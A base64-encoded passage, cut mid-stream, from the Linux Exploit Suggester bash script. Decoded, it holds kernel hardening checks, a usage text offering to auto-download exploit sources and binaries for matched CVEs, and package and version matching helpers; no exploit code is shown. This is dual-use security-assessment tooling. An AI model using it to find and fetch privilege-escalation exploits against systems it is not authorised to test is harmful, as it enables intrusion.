LmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3NtZXAubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFN1cGVydmlzb3IgTW9kZSBBY2Nlc3MgUHJldmVudGlvbiAoU01BUCkgc3VwcG9ydAphdmFpbGFibGU6IHZlcj49My43CmVuYWJsZWQ6IGNtZDpncmVwIC1xaSBzbWFwIC9wcm9jL2NwdWluZm8KYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9zbWFwLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpzZWN0aW9uOiAzcmQgcGFydHkga2VybmVsIHByb3RlY3Rpb24gbWVjaGFuaXNtczoKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IEdyc2VjdXJpdHkKYXZhaWxhYmxlOiBDT05GSUdfR1JLRVJOU0VDPXkKZW5hYmxlZDogY21kOnRlc3QgLWMgL2Rldi9ncnNlYwpFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogUGFYCmF2YWlsYWJsZTogQ09ORklHX1BBWD15CmVuYWJsZWQ6IGNtZDp0ZXN0IC14IC9zYmluL3BheGN0bApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogTGludXggS2VybmVsIFJ1bnRpbWUgR3VhcmQgKExLUkcpIGtlcm5lbCBtb2R1bGUKZW5hYmxlZDogY21kOnRlc3QgLWQgL3Byb2Mvc3lzL2xrcmcKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9sa3JnLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpzZWN0aW9uOiBBdHRhY2sgU3VyZmFjZToKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFVzZXIgbmFtZXNwYWNlcyBmb3IgdW5wcml2aWxlZ2VkIGFjY291bnRzCmF2YWlsYWJsZTogQ09ORklHX1VTRVJfTlM9eQplbmFibGVkOiBzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF91c2VybnNfY2xvbmU9PTEKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy91c2VyX25zLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBVbnByaXZpbGVnZWQgYWNjZXNzIHRvIGJwZigpIHN5c3RlbSBjYWxsCmF2YWlsYWJsZTogQ09ORklHX0JQRl9TWVNDQUxMPXkKZW5hYmxlZDogc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfYnBmX2Rpc2FibGVkIT0xCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvYnBmX3N5c2NhbGwubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFN5c2NhbGxzIGZpbHRlcmluZwphdmFpbGFibGU6IENPTkZJR19TRUNDT01QPXkKZW5hYmxlZDogY21kOmdyZXAgLWkgU2VjY29tcCAvcHJvYy9zZWxmL3N0YXR1cyB8IGF3ayAne3ByaW50IFwkMn0nCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvYnBmX3N5c2NhbGwubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFN1cHBvcnQgZm9yIC9kZXYvbWVtIGFjY2VzcwphdmFpbGFibGU6IENPTkZJR19ERVZNRU09eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2Rldm1lbS5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogU3VwcG9ydCBmb3IgL2Rldi9rbWVtIGFjY2VzcwphdmFpbGFibGU6IENPTkZJR19ERVZLTUVNPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9kZXZrbWVtLm1kCkVPRgopCgoKdmVyc2lvbigpIHsKICAgIGVjaG8gImxpbnV4LWV4cGxvaXQtc3VnZ2VzdGVyICIkVkVSU0lPTiIsIG16ZXQsIGh0dHBzOi8vei1sYWJzLmV1LCBNYXJjaCAyMDE5Igp9Cgp1c2FnZSgpIHsKICAgIGVjaG8gIkxFUyB2ZXIuICRWRVJTSU9OIChodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGludXgtZXhwbG9pdC1zdWdnZXN0ZXIpIGJ5IEBfbXpldF8iCiAgICBlY2hvCiAgICBlY2hvICJVc2FnZTogbGludXgtZXhwbG9pdC1zdWdnZXN0ZXIuc2ggW09QVElPTlNdIgogICAgZWNobwogICAgZWNobyAiIC1WIHwgLS12ZXJzaW9uICAgICAgICAgICAgICAgLSBwcmludCB2ZXJzaW9uIG9mIHRoaXMgc2NyaXB0IgogICAgZWNobyAiIC1oIHwgLS1oZWxwICAgICAgICAgICAgICAgICAgLSBwcmludCB0aGlzIGhlbHAiCiAgICBlY2hvICIgLWsgfCAtLWtlcm5lbCA8dmVyc2lvbj4gICAgICAtIHByb3ZpZGUga2VybmVsIHZlcnNpb24iCiAgICBlY2hvICIgLXUgfCAtLXVuYW1lIDxzdHJpbmc+ICAgICAgICAtIHByb3ZpZGUgJ3VuYW1lIC1hJyBzdHJpbmciCiAgICBlY2hvICIgLS1za2lwLW1vcmUtY2hlY2tzICAgICAgICAgICAtIGRvIG5vdCBwZXJmb3JtIGFkZGl0aW9uYWwgY2hlY2tzIChrZXJuZWwgY29uZmlnLCBzeXNjdGwpIHRvIGRldGVybWluZSBpZiBleHBsb2l0IGlzIGFwcGxpY2FibGUiCiAgICBlY2hvICIgLS1za2lwLXBrZy12ZXJzaW9ucyAgICAgICAgICAtIHNraXAgY2hlY2tpbmcgZm9yIGV4YWN0IHVzZXJzcGFjZSBwYWNrYWdlIHZlcnNpb24gKGhlbHBzIHRvIGF2b2lkIGZhbHNlIG5lZ2F0aXZlcykiCiAgICBlY2hvICIgLXAgfCAtLXBrZ2xpc3QtZmlsZSA8ZmlsZT4gICAtIHByb3ZpZGUgZmlsZSB3aXRoICdkcGtnIC1sJyBvciAncnBtIC1xYScgY29tbWFuZCBvdXRwdXQiCiAgICBlY2hvICIgLS1jdmVsaXN0LWZpbGUgPGZpbGU+ICAgICAgICAtIHByb3ZpZGUgZmlsZSB3aXRoIExpbnV4IGtlcm5lbCBDVkVzIGxpc3QiCiAgICBlY2hvICIgLS1jaGVja3NlYyAgICAgICAgICAgICAgICAgICAtIGxpc3Qgc2VjdXJpdHkgcmVsYXRlZCBmZWF0dXJlcyBmb3IgeW91ciBIVy9rZXJuZWwiCiAgICBlY2hvICIgLXMgfCAtLWZldGNoLXNvdXJjZXMgICAgICAgICAtIGF1dG9tYXRpY2FsbHkgZG93bmxvYWRzIHNvdXJjZSBmb3IgbWF0Y2hlZCBleHBsb2l0IgogICAgZWNobyAiIC1iIHwgLS1mZXRjaC1iaW5hcmllcyAgICAgICAgLSBhdXRvbWF0aWNhbGx5IGRvd25sb2FkcyBiaW5hcnkgZm9yIG1hdGNoZWQgZXhwbG9pdCBpZiBhdmFpbGFibGUiCiAgICBlY2hvICIgLWYgfCAtLWZ1bGwgICAgICAgICAgICAgICAgICAtIHNob3cgZnVsbCBpbmZvIGFib3V0IG1hdGNoZWQgZXhwbG9pdCIKICAgIGVjaG8gIiAtZyB8IC0tc2hvcnQgICAgICAgICAgICAgICAgIC0gc2hvdyBzaG9ydGVuIGluZm8gYWJvdXQgbWF0Y2hlZCBleHBsb2l0IgogICAgZWNobyAiIC0ta2VybmVsc3BhY2Utb25seSAgICAgICAgICAgLSBzaG93IG9ubHkga2VybmVsIHZ1bG5lcmFiaWxpdGllcyIKICAgIGVjaG8gIiAtLXVzZXJzcGFjZS1vbmx5ICAgICAgICAgICAgIC0gc2hvdyBvbmx5IHVzZXJzcGFjZSB2dWxuZXJhYmlsaXRpZXMiCiAgICBlY2hvICIgLWQgfCAtLXNob3ctZG9zICAgICAgICAgICAgICAtIHNob3cgYWxzbyBEb1NlcyBpbiByZXN1bHRzIgp9CgpleGl0V2l0aEVyck1zZygpIHsKICAgIGVjaG8gIiQxIiAxPiYyCiAgICBleGl0IDEKfQoKIyBleHRyYWN0cyBhbGwgaW5mb3JtYXRpb24gZnJvbSBvdXRwdXQgb2YgJ3VuYW1lIC1hJyBjb21tYW5kCnBhcnNlVW5hbWUoKSB7CiAgICBsb2NhbCB1bmFtZT0kMQoKICAgIEtFUk5FTD0kKGVjaG8gIiR1bmFtZSIgfCBhd2sgJ3twcmludCAkM30nIHwgY3V0IC1kICctJyAtZiAxKQogICAgS0VSTkVMX0FMTD0kKGVjaG8gIiR1bmFtZSIgfCBhd2sgJ3twcmludCAkM30nKQogICAgQVJDSD0kKGVjaG8gIiR1bmFtZSIgfCBhd2sgJ3twcmludCAkKE5GLTEpfScpCgogICAgT1M9IiIKICAgIGVjaG8gIiR1bmFtZSIgfCBncmVwIC1xIC1pICdkZWInICYmIE9TPSJkZWJpYW4iCiAgICBlY2hvICIkdW5hbWUiIHwgZ3JlcCAtcSAtaSAndWJ1bnR1JyAmJiBPUz0idWJ1bnR1IgogICAgZWNobyAiJHVuYW1lIiB8IGdyZXAgLXEgLWkgJ1wtQVJDSCcgJiYgT1M9ImFyY2giCiAgICBlY2hvICIkdW5hbWUiIHwgZ3JlcCAtcSAtaSAnXC1kZWVwaW4nICYmIE9TPSJkZWVwaW4iCiAgICBlY2hvICIkdW5hbWUiIHwgZ3JlcCAtcSAtaSAnXC1NQU5KQVJPJyAmJiBPUz0ibWFuamFybyIKICAgIGVjaG8gIiR1bmFtZSIgfCBncmVwIC1xIC1pICdcLmZjJyAmJiBPUz0iZmVkb3JhIgogICAgZWNobyAiJHVuYW1lIiB8IGdyZXAgLXEgLWkgJ1wuZWwnICYmIE9TPSJSSEVMIgogICAgZWNobyAiJHVuYW1lIiB8IGdyZXAgLXEgLWkgJ1wubWdhJyAmJiBPUz0ibWFnZWlhIgoKICAgICMgJ3VuYW1lIC1hJyBvdXRwdXQgZG9lc24ndCBjb250YWluIGRpc3RyaWJ1dGlvbiBudW1iZXIgKGF0IGxlYXN0IG5vdCBpbiBjYXNlIG9mIGFsbCBkaXN0cm9zKQp9CgpnZXRQa2dMaXN0KCkgewogICAgbG9jYWwgZGlzdHJvPSQxCiAgICBsb2NhbCBwa2dsaXN0X2ZpbGU9JDIKICAgIAogICAgIyB0YWtlIHBhY2thZ2UgbGlzdGluZyBmcm9tIHByb3ZpZGVkIGZpbGUgJiBkZXRlY3QgaWYgaXQncyAncnBtIC1xYScgbGlzdGluZyBvciAnZHBrZyAtbCcgb3IgJ3BhY21hbiAtUScgbGlzdGluZyBvZiBub3QgcmVjb2duaXplZCBsaXN0aW5nCiAgICBpZiBbICIkb3B0X3BrZ2xpc3RfZmlsZSIgPSAidHJ1ZSIgLWEgLWUgIiRwa2dsaXN0X2ZpbGUiIF07IHRoZW4KCiAgICAgICAgIyB1YnVudHUvZGViaWFuIHBhY2thZ2UgbGlzdGluZyBmaWxlCiAgICAgICAgaWYgWyAkKGhlYWQgLTEgIiRwa2dsaXN0X2ZpbGUiIHwgZ3JlcCAnRGVzaXJlZD1Vbmtub3duL0luc3RhbGwvUmVtb3ZlL1B1cmdlL0hvbGQnKSBdOyB0aGVuCiAgICAgICAgICAgIFBLR19MSVNUPSQoY2F0ICIkcGtnbGlzdF9maWxlIiB8IGF3ayAne3ByaW50ICQyIi0iJDN9JyB8IHNlZCAncy86YW1kNjQvL2cnKQoKICAgICAgICAgICAgT1M9ImRlYmlhbiIKICAgICAgICAgICAgWyAiJChncmVwIHVidW50dSAiJHBrZ2xpc3RfZmlsZSIpIiBdICYmIE9TPSJ1YnVudHUiCiAgICAgICAgIyByZWRoYXQgcGFja2FnZSBsaXN0aW5nIGZpbGUKICAgICAgICBlbGlmIFsgIiQoZ3JlcCAtRSAnXC5lbFsxLTldK1tcLl9dJyAiJHBrZ2xpc3RfZmlsZSIgfCBoZWFkIC0xKSIgXTsgdGhlbgogICAgICAgICAgICBQS0dfTElTVD0kKGNhdCAiJHBrZ2xpc3RfZmlsZSIpCiAgICAgICAgICAgIE9TPSJSSEVMIgogICAgICAgICMgZmVkb3JhIHBhY2thZ2UgbGlzdGluZyBmaWxlCiAgICAgICAgZWxpZiBbICIkKGdyZXAgLUUgJ1wuZmNbMS05XSsnaSAiJHBrZ2xpc3RfZmlsZSIgfCBoZWFkIC0xKSIgXTsgdGhlbgogICAgICAgICAgICBQS0dfTElTVD0kKGNhdCAiJHBrZ2xpc3RfZmlsZSIpCiAgICAgICAgICAgIE9TPSJmZWRvcmEiCiAgICAgICAgIyBtYWdlaWEgcGFja2FnZSBsaXN0aW5nIGZpbGUKICAgICAgICBlbGlmIFsgIiQoZ3JlcCAtRSAnXC5tZ2FbMS05XSsnICIkcGtnbGlzdF9maWxlIiB8IGhlYWQgLTEpIiBdOyB0aGVuCiAgICAgICAgICAgIFBLR19MSVNUPSQoY2F0ICIkcGtnbGlzdF9maWxlIikKICAgICAgICAgICAgT1M9Im1hZ2VpYSIKICAgICAgICAjIHBhY21hbiBwYWNrYWdlIGxpc3RpbmcgZmlsZQogICAgICAgIGVsaWYgWyAiJChncmVwIC1FICdcIFswLTldK1wuJyAiJHBrZ2xpc3RfZmlsZSIgfCBoZWFkIC0xKSIgXTsgdGhlbgogICAgICAgICAgICBQS0dfTElTVD0kKGNhdCAiJHBrZ2xpc3RfZmlsZSIgfCBhd2sgJ3twcmludCAkMSItIiQyfScpCiAgICAgICAgICAgIE9TPSJhcmNoIgogICAgICAgICMgZmlsZSBub3QgcmVjb2duaXplZCAtIHNraXBwaW5nCiAgICAgICAgZWxzZQogICAgICAgICAgICBQS0dfTElTVD0iIgogICAgICAgIGZpCgogICAgZWxpZiBbICIkZGlzdHJvIiA9ICJkZWJpYW4iIC1vICIkZGlzdHJvIiA9ICJ1YnVudHUiIC1vICIkZGlzdHJvIiA9ICJkZWVwaW4iIF07IHRoZW4KICAgICAgICBQS0dfTElTVD0kKGRwa2cgLWwgfCBhd2sgJ3twcmludCAkMiItIiQzfScgfCBzZWQgJ3MvOmFtZDY0Ly9nJykKICAgIGVsaWYgWyAiJGRpc3RybyIgPSAiUkhFTCIgLW8gIiRkaXN0cm8iID0gImZlZG9yYSIgLW8gIiRkaXN0cm8iID0gIm1hZ2VpYSIgXTsgdGhlbgogICAgICAgIFBLR19MSVNUPSQocnBtIC1xYSkKICAgIGVsaWYgWyAiJGRpc3RybyIgPSAiYXJjaCIgLW8gIiRkaXN0cm8iID0gIm1hbmphcm8iIF07IHRoZW4KICAgICAgICBQS0dfTElTVD0kKHBhY21hbiAtUSB8IGF3ayAne3ByaW50ICQxIi0iJDJ9JykKICAgIGVsaWYgWyAteCAvdXNyL2Jpbi9lcXVlcnkgXTsgdGhlbgogICAgICAgIFBLR19MSVNUPSQoL3Vzci9iaW4vZXF1ZXJ5IC0tcXVpZXQgbGlzdCAnKicgLUYgJyRuYW1lOiR2ZXJzaW9uJyB8IGN1dCAtZC8gLWYyLSB8IGF3ayAne3ByaW50ICQxIjoiJDJ9JykKICAgIGVsc2UKICAgICAgICAjIHBhY2thZ2VzIGxpc3Rpbmcgbm90IGF2YWlsYWJsZQogICAgICAgIFBLR19MSVNUPSIiCiAgICBmaQp9CgojIGZyb206IGh0dHBzOi8vc3RhY2tvdmVyZmxvdy5jb20vcXVlc3Rpb25zLzQwMjM4MzAvaG93LWNvbXBhcmUtdHdvLXN0cmluZ3MtaW4tZG90LXNlcGFyYXRlZC12ZXJzaW9uLWZvcm1hdC1pbi1iYXNoCnZlckNvbXBhcmlzaW9uKCkgewoKICAgIGlmIFtbICQxID09ICQyIF1dCiAgICB0aGVuCiAgICAgICAgcmV0dXJuIDAKICAgIGZpCgogICAgbG9jYWwgSUZTPS4KICAgIGxvY2FsIGkgdmVyMT0oJDEpIHZlcjI9KCQyKQoKICAgICMgZmlsbCBlbXB0eSBmaWVsZHMgaW4gdmVyMSB3aXRoIHplcm9zCiAgICBmb3IgKChpPSR7I3ZlcjFbQF19OyBpPCR7I3ZlcjJbQF19OyBpKyspKQogICAgZG8KICAgICAgICB2ZXIxW2ldPTAKICAgIGRvbmUKCiAgICBmb3IgKChpPTA7IGk8JHsjdmVyMVtAXX07IGkrKykpCiAgICBkbwogICAgICAgIGlmIFtbIC16ICR7dmVyMltpXX0gXV0KICAgICAgICB0aGVuCiAgICAgICAgICAgICMgZmlsbCBlbXB0eSBmaWVsZHMgaW4gdmVyMiB3aXRoIHplcm9zCiAgICAgICAgICAgIHZlcjJbaV09MAogICAgICAgIGZpCiAgICAgICAgaWYgKCgxMCMke3ZlcjFbaV19ID4gMTAjJHt2ZXIyW2ldfSkpCiAgICAgICAgdGhlbgogICAgICAgICAgICByZXR1cm4gMQogICAgICAgIGZpCiAgICAgICAgaWYgKCgxMCMke3ZlcjFbaV19IDwgMTAjJHt2ZXIyW2ldfSkpCiAgICAgICAgdGhlbgogICAgICAgICAgICByZXR1cm4gMgogICAgICAgIGZpCiAgICBkb25lCgogICAgcmV0dXJuIDAKfQoKZG9WZXJzaW9uQ29tcGFyaXNpb24oKSB7CiAgICBsb2NhbCByZXFWZXJzaW9uPSIkMSIKICAgIGxvY2FsIHJlcVJlbGF0aW9uPSIkMiIKICAgIGxvY2FsIGN1cnJlbnRWZXJzaW9uPSIkMyIKCiAgICB2ZXJDb21wYXJpc2lvbiAkY3VycmVudFZlcnNpb24gJHJlcVZlcnNpb24KICAgIGNhc2UgJD8gaW4KICAgICAgICAwKSBjdXJyZW50UmVsYXRpb249Jz0nOzsKICAgICAgICAxKSBjdXJyZW50UmVsYXRpb249Jz4nOzsKICAgICAgICAyKSBjdXJyZW50UmVsYXRpb249JzwnOzsKICAgIGVzYWMKCiAgICBpZiBbICIkcmVxUmVsYXRpb24iID09ICI9IiBdOyB0aGVuCiAgICAgICAgWyAkY3VycmVudFJlbGF0aW9uID09ICI9IiBdICYmIHJldHVybiAwCiAgICBlbGlmIFsgIiRyZXFSZWxhdGlvbiIgPT0gIj4iIF07IHRoZW4KICAgICAgICBbICRjdXJyZW50UmVsYXRpb24gPT0gIj4iIF0gJiYgcmV0dXJuIDAKICAgIGVsaWYgWyAiJHJlcVJlbGF0aW9uIiA9PSAiPCIgXTsgdGhlbgogICAgICAgIFsgJGN1cnJlbnRSZWxhdGlvbiA9PSAiPCIgXSAmJiByZXR1cm4gMAogICAgZWxpZiBbICIkcmVxUmVsYXRpb24iID09ICI+PSIgXTsgdGhlbgogICAgICAgIFsgJGN1cnJlbnRSZWxhdGlvbiA9PSAiPSIgXSAmJiByZXR1cm4gMAogICAgICAgIFsgJGN1cnJlbnRSZWxhdGlvbiA9PSAiPiIgXSAmJiByZXR1cm4gMAogICAgZWxpZiBbICIkcmVxUmVsYXRpb24iID09ICI8PSIgXTsgdGhlbgogICAgICAgIFsgJGN1cnJlbnRSZWxhdGlvbiA9PSAiPSIgXSAmJiByZXR1cm4gMAogICAgICAgIFsgJGN1cnJlbnRSZWxhdGlvbiA9PSAiPCIgXSAmJiByZXR1cm4gMAogICAgZmkKfQoKY29tcGFyZVZhbHVlcygpIHsKICAgIGN1clZhbD0kMQogICAgdmFsPSQyCiAgICBzaWduPSQzCgogICAgaWYgWyAiJHNpZ24iID09ICI9PSIgXTsgdGhlbgogICAgICAgIFsgIiR2YWwiID09ICIkY3VyVmFsIiBdICYmIHJldHVybiAwCiAgICBlbGlmIFsgIiRzaWduIiA9PSAiIT0iIF07IHRoZW4KICAgICAgICBbICIkdmFsIiAhPSAiJGN1clZhbCIgXSAmJiByZXR1cm4gMAogICAgZmkKCiAgICByZXR1cm4gMQp9CgpjaGVja1JlcXVpcmVtZW50KCkgewogICAgI2VjaG8gIkNoZWNraW5nIHJlcXVpcmVtZW50OiAkMSIKICAgIGxvY2FsIElOPSIkMSIKICAgIGxvY2FsIHBrZ05hbWU9IiR7Mjo0fSIKCiAgICBpZiBbWyAiJElOIiA9fiBecGtnPS4qJCBdXTsgdGhlbgoKICAgICAgICAjIGFsd2F5cyB0cnVlIGZvciBMaW51eCBPUwogICAgICAgIFsgJHtwa2dOYW1lfSA9PSAibGludXgta2VybmVsIiBdICYmIHJldHVybiAwCgogICAgICAgICMgdmVyaWZ5IGlmIHBhY2thZ2UgaXMgcHJlc2VudCAKICAgICAgICBwa2c9JChlY2hvICIkUEtHX0xJU1QiIHwgZ3JlcCAtRSAtaSAiXiRwa2dOYW1lLVswLTldKyIgfCBoZWFkIC0xKQogICAgICAgIGlmIFsgLW4gIiRwa2ciIF07IHRoZW4KICAgICAgICAgICAgcmV0dXJuIDAKICAgICAgICBmaQoKICAgIGVsaWYgW1sgIiRJTiIgPX4gXnZlci4qJCBdXTsgdGhlbgogICAgICAgIHZlcnNpb249IiR7SU4vL1teMC05Ll0vfSIKICAgICAgICByZXN0PSIke0lOI3Zlcn0iCiAgICAgICAgb3BlcmF0b3I9JHtyZXN0JSR2ZXJzaW9ufQoKICAgICAgICBpZiBbICIkcGtnTmFtZSIgPT0gImxpbnV4LWtlcm5lbCIgLW8gIiRvcHRfY2hlY2tzZWNfbW9kZSIgPT0gInRydWUiIF07IHRoZW4KCiAgICAgICAgICAgICMgZm9yIC0tY3ZlbGlzdC1maWxlIG1vZGUgc2tpcCBrZXJuZWwgdmVyc2lvbiBjb21wYXJpc2lvbgogICAgICAgICAgICBbICIkb3B0X2N2ZWxpc3RfZmlsZSIgPSAidHJ1ZSIgXSAmJiByZXR1cm4gMAoKICAgICAgICAgICAgZG9WZXJzaW9uQ29tcGFyaXNpb24gJHZlcnNpb24gJG9wZXJhdG9yICRLRVJORUwgJiYgcmV0dXJuIDAKICAgICAgICBlbHNlCiAgICAgICAgICAgICMgZXh0cmFjdCBwYWNrYWdlIHZlcnNpb24gYW5kIGNoZWNrIGlmIHJlcXVpcmVtbnQgaXMgdHJ1ZQogICAgICAgICAgICBwa2c9JChlY2hvICIkUEtHX0xJU1QiIHwgZ3JlcCAtRSAtaSAiXiRwa2dOYW1lLVswLTldKyIgfCBoZWFkIC0xKQoKICAgICAgICAgICAgIyBza2lwIChpZiBydW4gd2l0aCAtLXNraXAtcGtnLXZlcnNpb25zKSB2ZXJzaW9uIGNoZWNraW5nIGlmIHBhY2thZ2Ugd2l0aCBnaXZlbiBuYW1lIGlzIGluc3RhbGxlZAogICAgICAgICAgICBbICIkb3B0X3NraXBfcGtnX3ZlcnNpb25zIiA9ICJ0cnVlIiAtYSAtbiAiJHBrZyIgXSAmJiByZXR1cm4gMAoKICAgICAgICAgICAgIyB2ZXJzaW9uaW5nOgogICAgICAgICAgICAjZWNobyAicGtnOiAkcGtnIgogICAgICAgICAgICBwa2dWZXJzaW9uPSQoZWNobyAiJHBrZyIgfCBncmVwIC1FIC1pIC1vIC1lICctW1wuMC05XCs6cF0rWy1cK10nIHwgY3V0IC1kJzonIC1mMiB8IHNlZCAncy9bXCstXS8vZycgfCBzZWQgJ3MvcFswLTldLy9nJykKICAgICAgICAgICAgI2VjaG8gInZlcnNpb246ICRwa2dWZXJzaW9uIgogICAgICAgICAgICAjZWNobyAib3BlcmF0b3I6ICRvcGVyYXRvciIKICAgICAgICAgICAgI2VjaG8gInJlcXVpcmVkIHZlcnNpb246ICR2ZXJzaW9uIgogICAgICAgICAgICAjZWNobwogICAgICAgICAgICBkb1ZlcnNpb25Db21wYXJpc2lvbiAkdmVyc2lvbiAkb3BlcmF0b3IgJHBrZ1ZlcnNpb24gJiYgcmV0dXJuIDAKICAgICAgICBmaQogICAgZWxpZiBbWyAiJElOIiA9fiBeeDg2XzY0JCBdXSAmJiBbICIkQVJDSCIgPT0gIng4Nl82NCIgLW8gIiRBUkNIIiA9PSAiIiBdOyB0aGVuCiAgICAgICAgcmV0dXJuIDAKICAgIGVsaWYgW1sgIiRJTiIgPX4gXng4NiQgXV0gJiYgWyAiJEFSQ0giID09ICJpMzg2IiAtbyAiJEFSQ0giID09ICJpNjg2IiAtbyAiJEFSQ0giID09ICIiIF07IHRoZW4KICAgICAgICByZXR1cm4gMAogICAgZWxpZiBbWyAiJElOIiA9fiBeQ09ORklHXy4qJCBdXTsgdGhlbgoKICAgICAgICAjIHNraXAgaWYgY2hlY2sgaXMgbm90IGFwcGxpY2FibGUgKC1rIG9yIC0tdW5hbWUgb3IgLXAgc2V0KSBvciBpZiB1c2VyIHNhaWQgc28gKC0tc2tpcC1tb3JlLWNoZWNrcykKICAgICAgICBbICIkb3B0X3NraXBfbW9yZV9jaGVja3MiID0gInRydWUiIF0gJiYgcmV0dXJuIDAKCiAgICAgICAgIyBpZiBrZXJuZWwgY29uZmlnIElTIGF2YWlsYWJsZToKICAgICAgICBpZiBbIC1uICIkS0NPTkZJRyIgXTsgdGhlbgogICAgICAgICAgICBpZiAkS0NPTkZJRyB8IGdyZXAgLUUgLXFpICRJTjsgdGhlbgogICAgICAgICAgICAgICAgcmV0dXJuIDA7CiAgICAgICAgICAgICMgcmVxdWlyZWQgb3B0aW9uIHdhc24ndCBmb3VuZCwgZXhwbG9pdCBpcyBub3QgYXBwbGljYWJsZQogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICByZXR1cm4gMTsKICAgICAgICAgICAgZmkKICAgICAgICAjIGNvbmZpZyBpcyBub3QgYXZhaWxhYmxlCiAgICAgICAgZWxzZQogICAgICAgICAgICByZXR1cm4gMDsKICAgICAgICBmaQogICAgZWxpZiBbWyAiJElOIiA9fiBec3lzY3RsOi4qJCBdXTsgdGhlbgoKICAgICAgICAjIHNraXAgaWYgY2hlY2sgaXMgbm90IGFwcGxpY2FibGUgKC1rIG9yIC0tdW5hbWUgb3IgLXAgbW9kZXMpIG9yIGlmIHVzZXIgc2FpZCBzbyAoLS1za2lwLW1vcmUtY2hlY2tzKQogICAgICAgIFsgIiRvcHRfc2tpcF9tb3JlX2NoZWNrcyIgPSAidHJ1ZSIgXSAmJiByZXR1cm4gMAoKICAgICAgICBzeXNjdGxDb25kaXRpb249IiR7SU46N30iCgogICAgICAgICMgZXh0cmFjdCBzeXNjdGwgZW50cnksIHJlbGF0aW9uIHNpZ24gYW5kIHJlcXVpcmVkIHZhbHVlCiAgICAgICAgaWYgZWNobyAkc3lzY3RsQ29uZGl0aW9uIHwgZ3JlcCAtcWkgIiE9IjsgdGhlbgogICAgICAgICAgICBzaWduPSIhPSIKICAgICAgICBlbGlmIGVjaG8gJHN5c2N0bENvbmRpdGlvbiB8IGdyZXAgLXFpICI9PSI7IHRoZW4KICAgICAgICAgICAgc2lnbj0iPT0iCiAgICAgICAgZWxzZQogICAgICAgICAgICBleGl0V2l0aEVyck1zZyAiV3Jvbmcgc3lzY3RsIGNvbmRpdGlvbi4gVGhlcmUgaXMgc3ludGF4IGVycm9yIGluIHlvdXIgZmVhdHVyZXMgREIuIEFib3J0aW5nLiIKICAgICAgICBmaQogICAgICAgIHZhbD0kKGVjaG8gIiRzeXNjdGxDb25kaXRpb24iIHwgYXdrIC1GICIkc2lnbiIgJ3twcmludCAkMn0nKQogICAgICAgIGVudHJ5PSQoZWNobyAiJHN5c2N0bENvbmRpdGlvbiIgfCBhd2sgLUYgIiRzaWduIiAne3ByaW50ICQxfScpCgogICAgICAgICMgZ2V0IGN1cnJlbnQgc2V0dGluZyBvZiBzeXNjdGwgZW50cnkKICAgICAgICBjdXJWYWw9JCgvc2Jpbi9zeXNjdGwgLWEgMj4gL2Rldi9udWxsIHwgZ3JlcCAiJGVudHJ5IiB8IGF3ayAtRic9JyAne3ByaW50ICQyfScpCgogICAgICAgICMgc3BlY2lhbCBjYXNlIGZvciAtLWNoZWNrc2VjIG1vZGU6IHJldHVybiAyIGlmIHRoZXJlIGlzIG5vIHN1Y2ggc3dpdGNoIGluIHN5c2N0bAogICAgICAgIFsgLXogIiRjdXJWYWwiIC1hICIkb3B0X2NoZWNrc2VjX21vZGUiID0gInRydWUiIF0gJiYgcmV0dXJuIDIKCiAgICAgICAgIyBmb3Igb3RoZXIgbW9kZXM6IHNraXAgaWYgdGhlcmUgaXMgbm8gc3VjaCBzd2l0Y2ggaW4gc3lzY3RsCiAgICAgICAgWyAteiAiJGN1clZhbCIgXSAmJiByZXR1cm4gMAoKICAgICAgICAjIGNvbXBhcmUgJiByZXR1cm4gcmVzdWx0CiAgICAgICAgY29tcGFyZVZhbHVlcyAkY3VyVmFsICR2YWwgJHNpZ24gJiYgcmV0dXJuIDAKCiAgICBlbGlmIFtbICIkSU4iID1+IF5jbWQ6LiokIF1dOyB0aGVuCgogICAgICAgICMgc2tpcCBpZiBjaGVjayBpcyBub3QgYXBwbGljYWJsZSAoLWsgb3IgLS11bmFtZSBvciAtcCBtb2Rlcykgb3IgaWYgdXNlciBzYWlkIHNvICgtL